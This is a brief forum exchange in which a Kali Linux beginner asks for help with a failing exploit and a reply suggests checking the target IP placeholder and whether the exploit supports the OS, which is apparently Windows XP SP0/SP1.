Hey aEthern0 I'm having the same problem did you happen to find a fix for it yet? I'm new and trying to get the hang of using kali

Thanks.

Did you copy this from another tutorial and did you actually change the X to the actual IP or not?
Also, it might be that it doesn't work because the exploit can't run on that OS.
It says it will run on Windows XP SP0/SP1 Universal though.
